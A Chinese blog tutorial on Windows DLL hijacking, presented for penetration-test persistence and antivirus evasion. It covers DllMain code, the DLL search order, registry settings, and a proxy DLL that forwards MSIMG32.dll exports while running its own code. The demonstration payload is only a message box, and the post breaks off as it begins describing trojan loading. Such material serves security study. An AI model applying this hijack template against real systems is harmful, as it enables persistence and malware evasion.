首页 > 其他分享 >DLL劫持

DLL劫持

时间:2024-02-15 11:00:42浏览次数:23  
标签:case 劫持 x41 x48 x8b x00 DLL

DLL劫持

DLL是Windows上的动态链接库的文件格式

而DLL劫持是攻击者是利用一些缺陷,使得进程在加载原本DLL时加载了攻击者准备好的恶意DLL文件

对于渗透测试,DLL劫持是我们在权限维持阶段常用的trick,同时也是白加黑免杀的一种技巧

DLL开发以及调用

选用windows上的visual studio这款IDE进行开发

  • 选用动态链接库DLL

image-20240214193324628

  • 项目结构如下:
    • dllmain.cpp:DLL程序主入口

image-20240214193405621

  • dllmain.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:	// 当DLL加载到进程地址空间时执行此情况
        ::MessageBox(NULL, L"this is a test", L"DLL Test", MB_OK | MB_ICONWARNING);
        break;
    case DLL_THREAD_ATTACH:		// 当DLL加载后在进程中创建一个新线程时执行此情况
    case DLL_THREAD_DETACH:		// 当线程从进程中分离时执行此情况, 一般做线程清理
    case DLL_PROCESS_DETACH:	// 当DLL从进程中卸载时执行此情况, 一般做进程清理
        break;
    }
    return TRUE;
}

// trick: 设置导出函数的方法如下, 导出函数可以被GetProcAddress获取
extern "C" __declspec(dllexport) void export_func(void);
  • 编译生成DLL文件,在相应的DLL项目右键点击生成

image-20240214193918052

image-20240214194027563

  • 调用

​ 主要使用LoadLibrary、GetProcAddress这两个API来进行调用

#include <stdio.h>
#include <Windows.h>


int main()
{
	PVOID hDll = NULL;
    hDll = LoadLibrary(L"C:\\Users\\icfh\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
	if (hDll == NULL) {
		printf("Load DLL Error");
		return -1;
	}
	printf("Load DLL Success");
	return 0;
}

成功:

image-20240214201404739

windows DLL 搜索机制

参考:https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security

在Win XP SP2之前是默认未启用DLL搜索模式

之后开始启用安全DLL搜索模式:

  1. The directory from which the application loaded.
  2. The system directory.
  3. The 16-bit system directory.
  4. The Windows directory.
  5. The current directory.
  6. The directories that are listed in the PATH environment variable.
  • 注册表配置和DLL安全策略
  1. 如果要关闭DLL安全搜索策略,则在注册表中创建HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode项,并置为0

  2. 为了防止一些易被劫持的系统DLL被劫持,将这些DLL写入到注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

image-20240214221750942

DLL劫持姿势

转发劫持

原理很简单,就是在恶意DLL的输出表上直接映射为原有的DLL文件上,可以参考下图(https://www.anquanke.com/post/id/232891#h2-0)

hajackload

此处以geek.exe文件为例

首先使用CFF Explorer查看geek.exe的导入表

image-20240214183208874

我们选择劫持MSIMG32.dll,该dll的输出表有如下函数

image-20240214183247761

在劫持DLL中直接进行转发

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        ::MessageBox(NULL, L"直接转发函数", L"From DLL Hijack", MB_OK | MB_ICONWARNING);
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


// 直接转发函数
#pragma comment(linker, "/EXPORT:vSetDdrawflag=OLD_MSIMG32.vSetDdrawflag")
#pragma comment(linker, "/EXPORT:AlphaBlend=OLD_MSIMG32.AlphaBlend")
#pragma comment(linker, "/EXPORT:DllInitialize=OLD_MSIMG32.DllInitialize")
#pragma comment(linker, "/EXPORT:GradientFill=OLD_MSIMG32.GradientFill")
#pragma comment(linker, "/EXPORT:TransparentBlt=OLD_MSIMG32.TransparentBlt")

然后将劫持DLL和原来的DLL放在同一目录下

image-20240214183531885

运行即可触发执行恶意DLL

image-20240214183616524

DLL劫持免杀

利用DLL直接加载木马上线

  • 利用场景:

​ 已经上传了免杀

标签:case,劫持,x41,x48,x8b,x00,DLL
From: https://www.cnblogs.com/icfh/p/18016041

相关文章

  • 全自动替换 ExplorerFrame.dll
    @echooffecho.echo全自动替换ExplorerFrame.dll,任意键继续……echo请确保以管理员身份运行本程序,并且待替换文件在同目录下。pause>nulecho.echo获取管理员权限...takeown/fC:\windows\system32\ExplorerFrame.dll/aicaclsC:\windows\system32\ExplorerFrame.......
  • NET项目&DLL反编译&MSSQL监控&VS搜索&注入&上传
    知识点1.NET普通源码&编译源码2.DLL反编译&后缀文件&指向3.代码审计-SQL注入&文件上传ASPX文件->CSASPX.CSDLL反编译后寻找看核心代码分析漏洞CSASPX.CSDLL反编译文件->ASPX文件寻找确定漏洞进行调试测试代码审计时要把这个反编译文件提取导入到IDE中后期搜索关......
  • Chrome修改添加JS与dll交互
    注入dll后拦截js相关函数,可以通讯以及控制安全沙箱问题前面有写文章为了方便快速,使用Uint8Array::Set函数拦截之前尝试了crypto.subtle相关的函数,这些函数速度很慢,而且是异步,很不方便C++的dll代码BOOL CChrome::HookUint8ArraySetByte(){ BYTE *pCode; BOOL......
  • Drvsetup.dll 是 Windows 操作系统中的一个动态链接库文件,用于设备驱动程序的安装和配
     Drvsetup.dll是Windows操作系统中的一个动态链接库文件,用于设备驱动程序的安装和配置过程中。该文件通常位于C:\Windows\System32文件夹下。Drvsetup.dll主要负责设备驱动程序的安装和配置过程中的一些核心功能,包括驱动程序的复制、注册、配置和卸载等。在设备驱动程序......
  • drvstore.dll 是 Windows 操作系统中的一个动态链接库文件
    drvstore.dll是Windows操作系统中的一个动态链接库文件,用于存储和管理设备驱动程序的信息。它通常位于系统目录(如C:\Windows\System32)下。drvstore.dll的主要作用是维护设备驱动程序的备份和安装信息,以便在需要时能够快速找到并加载正确的驱动程序。当用户连接新设备或更新设......
  • 简单方法使 kernel32.dll 发生重定位
    简单方法使kernel32.dll发生重定位系统启动后kernel32.dll在每个进程的加载地址都相同。。。。吗?相信很多人都知道这个,因为这个是远程线程注入的基础,类似的还有user32.dll之类的系统dll。不过这个概念是错误的,或者说它在绝大多数时候是正确的因为通常来说这些系统dll默......
  • 用VB6.0封装DLL组件并在EXCEL中调用
    使用程序:1、MicrosoftOfficeExcel20032、MicrosoftVisualBasic6.0 案例:在工作表的C1单元格得出A1单元格+B1单元格的值。设计的VBA代码:SubTest()  OnErrorResumeNext  Range("C1")=Cells(1,1)+Cells(1,2)EndSub  第一部分、使用VB6.0制作DL......
  • 安装MySQL出现由于找不到vcruntime140_1.dll,无法继续执行代码的提示
    问题描述:在安装MySQL服务的时候,执行安装命令提示如下的错误信息。解决方法:通过分析可以知道,是由于缺少了vcruntime140_1.dll动态链接库文件,这是windows缺少vc_redist.x64.exe程序导致的服务安装错误,与我们要安装的MySQL服务并没有关系。(如果您的安装过VS类型的工具,就不会提示该......
  • 判断域名dns是否被劫持或污染
    nslookup域名144.223.234.234,即可判断该域名是否被污染,由于144.223.234.234不存在,理应没有任何返回。但我们却得到了一个错误的IP(不确定)。即可证明这个域名已经被DNS污染了解决方案播报编辑1、使用各种SSH加密代理,在加密代理里进行远程DNS解析,或者使用VPN上网。2、修改host......
  • 关于pycharm报错:Original error was: DLL load failed while importing _multiarray_u
    前提:遇到该问题时,已重新卸载并安装numpy,但由于今日重新打开pycharm,运行相同的代码,又再次报错,故重新寻找了新的方式进行尝试。原文地址解决方法:Step1:点击run,找到EditConfigurationsStep2:在EnvironmentVariables后加入:Path=Anaconda根目录\Library\bin......